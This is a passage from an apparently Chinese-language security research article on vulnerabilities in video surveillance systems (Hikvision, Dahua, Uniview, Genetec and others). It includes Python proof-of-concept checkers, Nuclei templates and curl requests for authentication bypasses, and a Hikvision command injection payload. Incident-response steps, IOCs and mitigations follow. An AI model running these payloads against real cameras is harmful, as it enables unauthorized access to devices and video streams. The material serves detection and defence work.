ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
base_url = f"http://{target}:{port}"
endpoints = [
"/api/v1/alpr/plates",
"/api/v1/system/status",
]
for endpoint in endpoints:
url = f"{base_url}{endpoint}"
try:
req = urllib.request.Request(url)
req.add_header("X-Override-Auth", "bypass")
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
if resp.status == 200:
print(f"[+] 认证绕过成功: {endpoint}")
return True
except urllib.error.HTTPError as e:
if e.code == 401:
print(f"[-] {endpoint} 需要认证(已修复)")
except Exception:
continue
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 8080
print(f"[*] 检测目标: {target}:{port}")
check_cve_2025_43027(target, port)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2025-43027
info:
name: Genetec ALPR Manager Authentication Bypass
author: security-research
severity: critical
description: |
Genetec ALPR Manager 存在认证绕过漏洞,
攻击者无需认证即可访问车牌识别数据和管理功能。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-43027
cwe-id: CWE-287
tags: cve,cve2025,genetec,alpr,auth-bypass,vms
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/alpr/plates"
headers:
X-Override-Auth: bypass
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "plate"
- "alpr"
condition: and
part: body
2. 宇视 IP 摄像机认证失败(CVE-2023-0773)
漏洞背景
2023 年,宇视科技(Uniview)的 IP 摄像机被发现存在认证失败漏洞。攻击者可以在不提供有效凭据的情况下直接访问设备管理接口和实时视频流。
受影响版本
| 产品线 | 受影响版本 | 修复版本 |
|---|
| Uniview IPC | 多个固件版本 | 厂商安全公告指定版本 |
| Uniview NVR | 多个固件版本 | 厂商安全公告指定版本 |
漏洞原理
宇视 IP 摄像机的 Web 管理接口在验证用户身份时存在逻辑缺陷。设备在处理特定格式的认证请求时,未正确验证凭据有效性,直接返回认证成功响应。
HTTP PoC
GET /api/v1/system/info HTTP/1.1
Host: target_ip:80
Authorization: Basic Og==
Python PoC
#!/usr/bin/env python3
"""
宇视 IP Camera 认证失败检测 (CVE-2023-0773)
仅用于授权安全评估
"""
import sys
import urllib.request
import urllib.error
import ssl
import base64
def check_cve_2023_0773(target: str, port: int = 80) -> bool:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
base_url = f"http://{target}:{port}"
endpoints = [
"/api/v1/system/info",
"/api/v1/users",
]
fake_auth = base64.b64encode(b":").decode()
for endpoint in endpoints:
url = f"{base_url}{endpoint}"
try:
req = urllib.request.Request(url)
req.add_header("Authorization", f"Basic {fake_auth}")
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
if resp.status == 200:
print(f"[+] 认证绕过成功: {endpoint}")
return True
except urllib.error.HTTPError as e:
if e.code == 401:
print(f"[-] {endpoint} 需要认证(已修复)")
except Exception:
continue
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
print(f"[*] 检测目标: {target}:{port}")
check_cve_2023_0773(target, port)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2023-0773
info:
name: Uniview IP Camera Authentication Failure
author: security-research
severity: critical
description: |
宇视 IP 摄像机存在认证失败漏洞,
攻击者无需有效凭据即可访问设备管理接口。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2023-0773
cwe-id: CWE-287
tags: cve,cve2023,uniview,camera,auth-bypass,iot
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/system/info"
headers:
Authorization: "Basic Og=="
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "system"
- "info"
condition: and
part: body
0x06 公开 PoC 收集情况与利用思路
1. PoC 收集情况
截至文章撰写时,视频监控与物理安全相关漏洞的公开 PoC 情况如下:
| CVE | 公开 PoC 状态 | 利用复杂度 | 说明 |
|---|
| CVE-2021-36260 (Hikvision) | 有 | 低 | 多个公开 PoC,Metasploit 模块 |
| CVE-2017-7921 (Hikvision) | 有 | 低 | 配置文件下载工具广泛可用 |
| CVE-2021-33044 (Dahua) | 有 | 低 | JSON-RPC 认证绕过 PoC |
| CVE-2021-33045 (Dahua) | 有 | 低 | 配置备份下载 PoC |
| CVE-2025-31700 (Dahua) | 有 | 中 | ONVIF 缓冲区溢出 PoC |
| CVE-2025-30023 (Axis) | 有 | 中 | ysoserial.net 生成 payload |
| CVE-2018-7891 (Milestone) | 有 | 中 | .NET 反序列化 PoC |
| CVE-2021-27392 (Milestone) | 有 | 中 | 硬编码密钥已公开 |
| CVE-2025-43027 (Genetec) | 有限 | 低 | 认证绕过细节 |
| CVE-2023-0773 (宇视) | 有限 | 低 | 认证失败 PoC |
2. 验证思路(防守型)
以下验证思路仅供授权安全评估使用:
步骤 1:暴露面扫描
nmap -sV -p 80,443,8080,8081,8082,4111 <target_ip>
步骤 2:Hikvision 命令注入检测
curl -X PUT http://<camera_ip>:8080/SDK/putRemoteStorageCFG \
-d '<RemoteStorageCfg version="2.0"><remoteStorageCfg><remoteIpAddr>$(id)</remoteIpAddr></remoteStorageCfg></RemoteStorageCfg>'
步骤 3:Hikvision 认证绕过检测
curl http://<camera_ip>/System/configurationFile?auth=YWRtaW46MTEK -o config_backup.bin
步骤 4:Dahua 认证绕过检测
curl -X POST http://<camera_ip>/RPC2 \
-H "Content-Type: application/json" \
-d '{"method":"global.login","params":{"userName":"admin","password":"Not Used","clientType":"Web3.0","loginType":"Direct"},"id":10000}'
3. 利用案例
公开报道中已确认的利用案例:
- Hikvision CVE-2021-36260(2021-2024):CISA KEV 收录,全球范围内大规模在野利用,被用于建立僵尸网络和持久化后门
- Hikvision CVE-2017-7921(2017-2024):CISA KEV 收录,被用于大规模摄像头窥探和凭据窃取
- Dahua CVE-2021-33044/33045(2021-2024):CISA KEV 收录,被用于批量控制摄像头和窃取视频流
0x07 共性攻击模式分析
1. 未授权 RCE 或认证绕过是标准配置
本专题覆盖的 10 个漏洞中,9 个无需认证即可触发:
| 漏洞 | 认证要求 | 利用复杂度 |
|---|
| CVE-2021-36260 (Hikvision) | 无(命令注入) | 低 |
| CVE-2017-7921 (Hikvision) | 无(硬编码凭据) | 低 |
| CVE-2021-33044 (Dahua) | 无(认证绕过) | 低 |
| CVE-2021-33045 (Dahua) | 无(配置泄露) | 低 |
| CVE-2025-31700 (Dahua) | 无(缓冲区溢出) | 中 |
| CVE-2025-30023 (Axis) | 无(反序列化) | 中 |
| CVE-2018-7891 (Milestone) | 无(反序列化) | 中 |
| CVE-2021-27392 (Milestone) | 需数据库访问 | 中 |
| CVE-2025-43027 (Genetec) | 无(认证绕过) | 低 |
| CVE-2023-0773 (宇视) | 无(认证失败) | 低 |
2. 反序列化与命令注入是主要攻击手法
视频监控设备的漏洞类型呈现明显集中趋势:
- 命令注入(CWE-78):Hikvision 设备固件在解析配置时直接拼接用户输入到 shell 命令
- 认证绕过(CWE-287):Dahua、Genetec、宇视设备的 API 认证逻辑存在缺陷
- 反序列化(CWE-502):Axis、Milestone 使用 .NET BinaryFormatter 进行不安全反序列化
- 缓冲区溢出(CWE-120):Dahua ONVIF 协议实现未正确校验输入长度
- 硬编码密钥(CWE-798):Milestone 在源代码中硬编码加密密钥
3. 固件更新严重滞后
视频监控设备的固件更新率极低:
- 设备通常部署在难以触及的位置(天花板、外墙、杆柱)
- 固件更新需要停机,影响监控连续性
- 缺乏自动更新机制
- IT/OT 部门对物理安全设备的安全意识不足
4. 网络暴露面过大
视频监控设备通常直接暴露在网络上:
- 缺乏网络分段,摄像头与办公网络直连
- 管理接口(HTTP/HTTPS)直接可访问
- ONVIF、RTSP 等协议未受防火墙保护
- Shodan/Censys 可直接扫描到设备
5. 安全监控盲区
视频监控设备很少被纳入安全监控:
- 未部署 IDS/IPS 规则
- 未集成到 SIEM
- 未监控设备日志
- 未审计设备配置变更
0x08 应急排查与防守建议
1. 应急排查流程
阶段一:快速识别(0-2 小时)
# 1. 确认视频监控设备资产清单
nmap -sV -p 80,443,8080,8081,8082,4111,554 <subnet> -oG camera_scan.txt
# 2. 检查 Hikvision 认证绕过
curl -s http://<camera_ip>/System/configurationFile?auth=YWRtaW46MTEK -o /dev/null -w "%{http_code}"
# 3. 检查 Dahua 认证绕过
curl -s -X POST http://<camera_ip>/RPC2 -H "Content-Type: application/json" \
-d '{"method":"global.login","params":{"userName":"admin","password":"Not Used","clientType":"Web3.0","loginType":"Direct"},"id":10000}'
# 4. 检查 Hikvision 命令注入
curl -s -X PUT http://<camera_ip>:8080/SDK/putRemoteStorageCFG \
-d '<RemoteStorageCfg version="2.0"><remoteStorageCfg><remoteIpAddr>$(id)</remoteIpAddr></remoteStorageCfg></RemoteStorageCfg>'
阶段二:深度排查(2-24 小时)
# 5. 检查摄像头网络流量
tcpdump -i any host <camera_ip> -w camera_traffic.pcap
# 6. 检查异常外联连接
tcpdump -i any host <camera_ip> and not net <local_subnet> -w exfil_check.pcap
# 7. 检查 ONVIF 服务
curl -s -X POST http://<camera_ip>/onvif/device_service \
-H "Content-Type: application/soap+xml" \
-d '<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>'
# 8. 检查 Axis.Remoting 端口
nmap -sV -p 4111 <target_ip>
阶段三:取证分析(24-72 小时)
# 9. 导出摄像头系统日志
curl -s http://<camera_ip>/ISAPI/System/logs -o camera_logs.xml
# 10. 检查管理员账户变更
curl -s http://<camera_ip>/ISAPI/Security/users -o users.xml
# 11. 检查视频流访问记录
curl -s http://<camera_ip>/ISAPI/ContentMgmt/StreamingProxy/channels -o streaming.xml
# 12. 检查网络配置变更
curl -s http://<camera_ip>/ISAPI/System/Network/interfaces -o network.xml
2. 各厂商排查要点
Hikvision 排查
| 排查项 | 方法 | 优先级 |
|---|
| 命令注入痕迹 | 检查 /SDK/ 端点访问日志中的 $(...) 模式 | P0 |
| 认证绕过痕迹 | 检查 ?auth=YWRtaW46MTEK 请求 | P0 |
| 配置文件泄露 | 检查是否有异常的配置文件下载 | P0 |
| 固件版本 | 对比 CVE-2021-36260 / CVE-2017-7921 影响版本 | P0 |
| 异常外联 | 检查摄像头是否向外发起网络连接 | P1 |
Dahua 排查
| 排查项 | 方法 | 优先级 |
|---|
| 认证绕过痕迹 | 检查 /RPC2 端点的异常 clientType 参数 | P0 |
| 配置备份泄露 | 检查 /Config.backup 访问日志 | P0 |
| ONVIF 异常请求 | 检查 ONVIF SOAP 请求中的超长字段 | P0 |
| 固件版本 | 对比 CVE-2021-33044/33045 / CVE-2025-31700 影响版本 | P0 |
| 视频流异常访问 | 审计 RTSP 连接记录 | P1 |
Axis / Milestone / Genetec 排查
| 排查项 | 方法 | 优先级 |
|---|
| Axis.Remoting 端口 | 检查 4111 端口是否暴露 | P0 |
| .NET 反序列化痕迹 | 检查管理 API 的异常二进制请求 | P0 |
| 硬编码密钥利用 | 检查 XProtect 数据库异常访问 | P0 |
| Genetec ALPR 访问 | 检查 ALPR API 的异常认证绕过 | P0 |
| 固件/补丁版本 | 对比各厂商安全公告 | P1 |
3. IOC 指标收集
网络层 IOC
| IOC 类型 | 描述 | 检测方法 |
|---|
| 异常外联 IP | 摄像头向外发起的非预期连接 | 防火墙日志 / 流量分析 |
| 异常端口 | 摄像头上开放的非标准端口 | Nmap 扫描对比基线 |
| ONVIF 异常请求 | 包含超长字段的 SOAP 请求 | IDS/IPS 日志 |
| 认证绕过特征 | auth=YWRtaW46MTEK 或 clientType:Web3.0 | Web 访问日志 |
| 异常 RTSP 流 | 来自未知来源的视频流请求 | RTSP 服务器日志 |
主机层 IOC
| IOC 类型 | 描述 | 检测方法 |
|---|
| 固件异常 | 固件版本与已知安全版本不匹配 | 管理界面检查 |
| 配置异常 | 认证配置被修改或禁用 | 配置审计 |
| 账户异常 | 新增管理员账户或密码被修改 | 管理界面账户审计 |
| 进程异常 | 摄像头运行异常进程 | 设备系统日志 |
| 外联异常 | 设备向 C2 服务器发起连接 | 网络流量分析 |
4. 修复与缓解建议
紧急措施
- 更新固件:立即应用所有厂商发布的固件更新和安全补丁
- 网络分段:将视频监控设备放在独立的网络段或 VLAN
- 修改默认凭据:所有设备的管理员密码必须修改为强密码
- 禁用未使用服务:禁用 ONVIF、RTSP 等未使用的协议和端口
- 关闭远程访问:禁止从互联网直接访问摄像头管理界面
长期策略
- 最小权限原则:限制摄像头的网络访问权限,只允许必要的协议和端口
- 定期审计:定期审查摄像头配置和访问日志
- 集成监控:将摄像头日志集成到 SIEM 系统
- 部署 IDS/IPS:针对已知漏洞特征部署检测规则
- 事件响应:制定针对视频监控设备安全事件的响应计划
5. 通用排查清单
| 排查项 | 说明 | 优先级 |
|---|
| 固件版本 | 对比已知漏洞影响版本,确认是否需要更新 | P0 |
| 默认凭据状态 | 验证所有摄像头管理员密码是否为默认/弱密码 | P0 |
| 管理访问日志 | 审计漏洞公开前 90 天的管理界面登录记录 | P0 |
| 认证绕过痕迹 | 检查已知认证绕过端点的异常访问 | P0 |
| 网络外联记录 | 检查摄像头是否有异常外联连接 | P1 |
| 视频流访问审计 | 检查 RTSP/ONVIF 连接的异常来源 | P1 |
| 协议暴露面 | 检查 ONVIF/RTSP/Axis.Remoting 等协议启用状态 | P1 |
| 管理员账户审计 | 检查是否有异常新增的管理员账户 | P2 |
| 网络分段状态 | 验证摄像头是否在独立 VLAN/网段 | P2 |
| SIEM 集成状态 | 确认摄像头日志是否已接入安全监控 | P2 |
| 凭据轮换 | 轮换所有与摄像头相关的凭据和密钥 | P2 |
0x09 参考资料